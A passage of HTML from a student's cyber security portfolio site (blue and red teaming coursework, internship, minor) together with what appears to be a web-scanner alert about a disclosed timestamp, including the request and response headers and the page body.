href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal33" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal34" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal35" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal36" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal37" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal38" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal39" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal40" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <script src="js/jqBootstrapValidation.js"></script> <script src="js/contact_me.js"></script> <script src="js/agency.min.js"></script> <script src="https://cdn.jsdelivr.net/gh/google/code-prettify@master/loader/run_prettify.js"></script> </body> </html>Evidence 16894306Solution Manually confirm that the timestamp data is not sensitive, and that the data cannot be aggregated to disclose exploitable patterns.
GET https://beekmans.dev
Alert tags Alert description A timestamp was disclosed by the application/web server - Unix
Other info 2000000000, which evaluates to: 2033-05-18 05:33:20
Request Request line and header section (192 bytes)
GET https://beekmans.dev HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cacheRequest body (0 bytes)
Response Status line and header section (1047 bytes)
HTTP/1.1 200 OK Date: Mon, 06 Dec 2021 09:55:11 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive vary: Accept-Encoding content-security-policy: default-src 'self' http: https: data: blob: 'unsafe-inline' x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4lOrbKK8y%2Bn8QLhKEGpB7rePrCHT1J%2BQaOZJP06h5%2BW2GkK9CRq%2Fdn7ChLzJzoJLiDaKfMYCpMPOGx7ddQ5eVNaVcohEeYRecx%2BV4c%2BapqYy04o6ANFaN3V3sF2rfmk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b94a31e5f8a4c13-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Response body (178340 bytes)
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>Cyber portfolio</title> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css"> <link href="https://fonts.googleapis.com/css?family=Montserrat:400,700" rel="stylesheet" type="text/css"> <link href='https://fonts.googleapis.com/css?family=Kaushan+Script' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Droid+Serif:400,700,400italic,700italic' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Roboto+Slab:400,100,300,700' rel='stylesheet' type='text/css'> <link href="css/agency.min.css" rel="stylesheet"> </head> <body id="page-top"> <nav class="navbar navbar-expand-lg navbar-dark fixed-top" id="mainNav"> <div class="container"> <a class="navbar-brand js-scroll-trigger" href="#page-top">Cyber security</a> <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation"> Menu <i class="fas fa-bars"></i> </button> <div class="collapse navbar-collapse" id="navbarResponsive"> <ul class="navbar-nav text-uppercase ml-auto"> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#services">Services</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#portfolio">Portfolio</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#about">About</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#team">Team</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#contact">Contact</a> </li> </ul> </div> </div> </nav> <header class="masthead"> <div class="container"> <div class="intro-text"> <div class="intro-lead-in">Welcome To My Portfolio!</div> <div class="intro-heading text-uppercase">It's Nice To Meet You</div> <a class="btn btn-primary btn-xl text-uppercase js-scroll-trigger" href="#services">Tell Me More</a> </div> </div> </header> <section id="services"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Introduction</h2> <h3 class="section-subheading text-muted">My project.</h3> </div> </div> <div class="row text-center"> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-shopping-cart fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Environment</h4> <p class="text-muted">I'm using my own Hyper visor (Microsoft's Hyper-V) on a private server in my home. I can connect via a VPN that's also running on this server to my home network to remotely manage the server and manage and deploy VM's. The server is an old DELL T310 with a Xeon x3440, 24GB ddr3 registered ecc 1333mhz memory and all VM's are installed on a Crucial MX500 ssd. The server is part of the home network just like every other computer in my home.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-laptop fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Context</h4> <p class="text-muted">The network I'm building has as focus a webhosting company with some onsite employee's maybe a place for guests and some webservers hosting different websites.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-lock fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Security</h4> <p class="text-muted">The network is secured by separating the webservers from the employees and guests on their own VLAN. The network is protected by a pfsense router running custom firewalls for every interface and running Surricata to identify and block possible threats.</p> </div> </div> </div> </section> <section class="bg-light" id="portfolio"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Portfolio</h2> <h3 class="section-subheading text-muted">Cyber security.</h3> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Blue teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal1"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/01-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Self assessment week 1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal2"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid portfolio-image" src="img/portfolio/blue/02-thumbnail.gif" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal3"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/03-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V2</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal4"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/04-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Secure connections</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal5"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/05-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IDS/IPS</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal6"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/06-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Information Security and Risk Analysis</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal7"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/07-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IT Monitoring</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Red teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal8"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/08-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">SQL injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal9"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/09-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Command injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal10"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/10-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site scripting</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal11"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/11-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site request forgery</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal12"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/12-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Path traversal</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal13"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/13-thumbnail.jpeg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Password cracking</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal14"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/14-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network scanning and enumeration</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal15"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/15-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network sniffing and spoofing</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal16"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/16-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Law, Ethics and Responsible Disclosure</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal17"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/17-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Basic hacking process</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal18"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/18-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Self reflection</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Internship</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal19"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/internship/19-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S5</h4> <p class="text-muted">My internship</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Minor</h4> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Red teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal20"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/20-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pentesting methods</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal21"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Linux write-up</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal22"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Windows write-up</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal23"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/23-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal24"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis session</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal25"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/25-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Personal pen-test toolbox</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal26"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/26-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security of IOT protocols and technology</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal27"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/27-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pen-test at COMPANY_NAME_HERE</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal28"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a smartphone app</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal29"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a website</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal30"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a device</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal31"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Organize a weekly Hack The Box event</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Blue teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal32"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/32-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal33"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">IDS technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal34"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/34-thumbnail.svg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Monitoring technologies</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal35"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/35-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">SIEM technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal36"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/36-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Threat use cases</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal37"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Developing and tuning an IDS</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal38"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/38-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Setting up a SOC</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal39"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/39-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability scanning</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal40"> <div class="portfolio-hover"> <div 